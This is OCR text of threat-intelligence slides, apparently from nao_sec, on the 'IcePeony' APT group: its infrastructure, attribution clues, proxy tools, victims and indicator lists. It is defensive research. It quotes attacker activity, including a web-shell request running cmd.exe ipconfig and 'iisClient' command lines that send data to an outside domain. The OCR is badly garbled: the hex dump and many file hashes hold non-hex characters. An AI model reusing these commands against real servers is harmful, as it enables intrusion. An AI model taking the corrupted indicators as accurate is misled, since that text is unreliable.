gageeeer Af 4Ab 8d Ba 44 61 74 65 3a 28 53 61 74 2¢ 28 31  OK..Date : 5at, 1

00eEEB70 33 20 4a 75 6c 20 32 38 32 34 20 30 35 3a 35 30 3 Jul 20 24 85:50 \

0OOPEBSO 3a 34 38 20 47 Ad 54 ©d ©a 43 6f 6e 74 65 6e 74  :48 GMT. .Content

@eEPE899 2d 4c 65 e 67 74 68 3a 20 36 35 33 Od @a ©d @a  -length: 653.... Output

PEOEOBAR 28 3e 34 Sb cf ae 14 4b fe @e 26 55 29 ce 90 dd  (>4[...K ..8&U)...

PEOEOEBE c3 bc f3 3f ab ¢7 71 31 87 cd ed al ea ab 8b b5  ...?..ql ........

PEAEEBCe a7 81 80 bl 2c 29 f8 bf 6e ad e7 25 ea aa 95 b5 ....,).. n..%.. cmd=cmd.exe+%2Fc+ipconfig&timeout=5
peePEBDE ab bd 88 bl 36 29 f9 83 6Ge ad d3 25 ea aa 93 b5  ....6).. n..%....

POOPEBED a6 88 80 bB 14 29 f8 bl e ad ec e6 8a a@ Od Sb  ..... Yoo Meeenn. [

geeeeere  2f 39 69 12 81 ea 9d b2 28 c9 d9 9f ec b3 Bd bB  J9i..... (evunn-.



Q Nnao_sec

Infrastructure



Related Infractructure Q nao_sec

./1isClient -u https://[REDACTED]/1.txt --add "ioss" --to http://[REDACTED].k9ccin.com

./admin -e [REDACTED].d45gomwkl.online

d45gomwkl.online 165.22.211.62 63.141.255.16 154.213.17.244

k9ccin.com 64.227.133.248 204.12.205.10 103.99.60.93

k8ccyn.com 173.208.156.19 107.148.37.63 149.115.231.17

88k8cc.com 173.208.156.144 103.99.60.119 149.115.231.39

googlesvn.com 154.213.17.225 154.213.17.237 193.99.60.108
103.150.186.219 45.195.205.88




Related Infractructure

;) Nnao_sec

IP AS company country region city
165.22.211.62 DIGITALOCEAN-ASN DigitalOcean, LLC IN Doddaballapura Karnataka
64.227.133.248 DIGITALOCEAN-ASN DigitalOcean, LLC IN Doddaballapura Karnataka
103.150.186.219 Ewebguru Noida Network IN Uttar Pradesh Noida
107.148.37.63 PEG TECH INC PEG TECH INC SG Singapore Singapore
103.99.60.119 Hong Kong FireLine Network LTD Shenzhen City Kayan Technology Co., Ltd CN Shenzhen Guangdong
103.99.60.108 Hong Kong FireLine Network LTD Shenzhen City Kayan Technology Co., Ltd CN Shenzhen Guangdong
103.99.60.93 Hong Kong FireLine Network LTD Shenzhen City Kayan Technology Co., Ltd CN Shenzhen Guangdong
154.213.17.225 Hong Kong FireLine Network LTD HK Qianlong Technology Co., Limited HK Hong Kong Hong Kong
154.213.17.237 Hong Kong FireLine Network LTD HK Qianlong Technology Co., Limited HK Hong Kong Hong Kong
45,195.205.88 Hong Kong FireLine Network LTD HK Qianlong Technology Co., Limited HK Hong Kong Hong Kong
154.213.17.244 Hong Kong FireLine Network LTD HK Qianlong Technology Co., Limited HK Hong Kong Hong Kong
149.115.231.17 XNNET LLC Cogent Communications us Los Angeles California
149.115.231.39 XNNET LLC Cogent Communications us Los Angeles California
173.208.156.19 Wil WholeSale Internet, Inc us Missouri Kansas City
173.208.156.144 Wil WholeSale Internet, Inc us Missouri Kansas City
63.141.255.16 Nocix, LLC Nocix, LLC us Missouri Kansas City
204.12.205.10 Nocix, LLC Nocix, LLC us Missouri Kansas City




Q Nnao_sec

Attribution



Work Cycle: Hour

The timestamps of

command history
in UTC+8

10 11

Q Nnao_sec

8 a.m.~ 10 p.m. (&)

12 13 14 15 16 17 18 19 20 21 22 23



Work Cycle: Week Q nao_sec

| I

| I

| I

: : Worklng six days

l I a Week

l

| :

' Holiday !

| :

| I

| I

| I

| I

: . 1 =
l

|

Monday Tuesday Wednesday Thursday Friday Saturday




Evil Working Conditions ;7 nao_sec

996 working hour system X 28 languages v

Article Talk Read Edit View history Tools wv

From Wikipedia, the free encyclopedia

This article is missing information about background on other (especially non-
tech) overwork cultures in China; legitimized "special work hour" system in
Shenzhen. Please expand the article to include this information. Further details may
exist on the talk page. (July 2021)

The 996 working hour system (Chinese: 996 T{E#l) is a work schedule 996 working hour system
practiced illegally by many companies in China. It derives its name from its Chinese 996 T /E4l
requirement that employees work from 9:00 am to 9:00 pm, 6 days per week; | Transcriptions [show]

i.e. 72 hours per week, 12 hours per day.[1I[2I[314][5][6] A humber of Mainland

Chinese internet companies have adopted this system as their official work schedule. Critics argue that the 996 working
hour system is a violation of Chinese Labour Law and have called it "modern slavery".[71[8]

https://en.wikipedia.org/wiki/996 working hour system



https://en.wikipedia.org/wiki/996_working_hour_system

Simplified Chinese ;7 nao_sec

Simplified Chinese characters were used in comments of scripts

while IFS= read -r line; do

echo $line
./iisClient -u https://$line/1.txt --list
done < "1.txt"




reGeorgGo

* Developed by Chinese security engineer
« Fairly minor tool and not used elsewhere

= o Q "reGeorgGo"

Filter by 6 files (951 ms)
| <> Code 6 v 5 zzlgg/secdemo - proxy/reGeorgGo/README.md

Lq Repositories 0 .

) Issues 0 6
7 """ bash

I Pull requests 0 8 Usage: ./reGeorgGo [OPTIONS]

DJ Discussions 0 9 ./reGeorgGo [-1 addr] [-p port] [-u http tunnel url]
10

A Users 0 11  Example:

https://qithub.com/zz1qgg/secdemol/tree/main/proxy/reGeorgGo

;) nao_sec

Sec Sec Sec

25 dGVzdA==
® dGVzdA==

https://zz1gg.qgithub.io/



https://zz1gg.github.io/
https://github.com/zz1gg/secdemo/tree/main/proxy/reGeorgGo

Relationship with the Targets

India Is engaging In strategic cooperation
with Mauritius to counter China's
expansion into the Indian Ocean

;) Nnao_sec

£ February 29,2024

Prime Minister Shri Narendra Modi and Prime Minister of Mauritius, H.E.
Mr. Pravind Kumar Jugnauth virtually inaugurated the new Airstrip,
Saint James Jetty and six Community Development Projects at the
Agalega island of Mauritius

https://www.mea.qgov.in/newsdetaill.htm?12042/

\ 4

“— Mauritius



https://www.mea.gov.in/newsdetail1.htm?12042/

Diamond Model Q nao._ sec

Adversary

IN region VPS

use Simplified Chinese
HK or CN Hosting

Working under the 996 working
hour system

Interested in the politics of
Indian Ocean countries

Capabilities<—"———"—"—<mmm — —————— Infrastructure

Geography

* South and South east Asia

* India, Mauritius, and Vietnam

* 1Indian Ocean and South China Sea
* Industry

Exploiting web application
vulnerability
* SQL Injection
Prefer open-source proxy tools
* reGeoge

* Suo5 * government agencies
 Stowaway * Academic
* ProxyChains Victims

IceCache and IceEvent



Q Nnao_sec

Wrap-Up



Wrap-Up ;) nao_sec

IcePeony is a China-nexus APT group
« Active since at least 2023

» Targeting South and Southeast Asia
 India, Mauritius, and Vietham
 Indian Ocean and South China Sea
« Mainly government agencies i P o= = l+
* An attack targeting over 200 different Indian government websites od | | =
[

. . - o n IF
 Exploiting web application vulnerability ") '-J:I "
* SQL Injection 'l.I.L' +|.
« Using Original malware o

« |ceCache and IceEvent L |

 Maybe connected to China's maritime strategy




Q Nnao_sec

Thank you



Appendix: 10Cs

* 165[.]22.211.62

. 64[

.« 173[.
.« 173[.
 154].
. 103[.

. 63[

.+ 204].
. 107].
. 103].

.1227.133.248
.]208.156.19
1208.156.144
1213.17.225
1150.186.219

.1141.255.16
.]12.205.10
1148.37.63

199.60.119

154[.]213.17.237
45[.]1195.205.88

154] .
103].
149] .
149] .
103].

1213.17.244
199.60.93
1115.231.17
1115.231.39
199.60.108

;) nao_sec

d45gomwkl[ . Jonline
k9ccin[. ]com
k8ccyn[.]com
88k8cc[ . ]com
googlesvn[. ]Jcom




Appendix: loCs

e TceChache

484e274077ab619354bf71164a8edeeddcd4672fcfbf05355958785824fe0468f
5b16d1533754c9€625340c4fc2c1f76b1l1f37eb801166ccfb96d22a02875a811
ceb472741t4b6293d+8904c917f423c2f07f1+31416b79f3b42b6d64e65dcfelb
e5f520d95cbad6ac38ebbbadbe®ad225f133e0e410af4e6df5a36b06813e451b
d1955169cd8195ecedfb85a3234e4e6b1911f596e493904ebca5f44el176f31950
11e90e2458a97957064a3d3f508fa6dadael9f632b45ff9523b7def50ebacb63
de8f581f008ddaa60b5cf1b729ca03f276d2267e0a80b5841f2f0723e0fac9f76¢
b8d030ed55bfbbbc4fdcofe34349ef502561519a791663441940521165d69681
535586af127e85c5561199a9ala3254d554a6cb97200eel39c5ce23e68a932bd
Ob8bl0a2ff68cb2aa345leedac4a8afibdla7efo9ddc6eb84fc5b01a65fca68fd
5fd5e99fc503831b71f4072a3351662d1188d7bc8ca23407063441fb974c7fedb6
3eb56218a80582a791f814959b8360adalb5e471d723812423e9d68354b6e008C
a66627cc13f827064b7fceab43ab31b34a7ceadd4d85accd4eld6do+2b2851cf6
0eb60e4c5dc7bo6b719e9dbd880eb5b7514272dc0d11e4760354f8bb44841f77

e TceEvent

80e831180237b819e14c36e4af70304bc66744d26726310e3c0dd95f1740ee58
9a0b0439e61d2403f764acf052712365a4b92a98e9643cd5d03ccccf3825a732e
9aba997bbf2138f68ad8cc3474ef68eeddOb99e8f7ce39045f1d770e2af24fea
bc94dala®66cbb9bdee7a03145609d019202b426a52acal9cc8d145b4175603b

;) nao_sec
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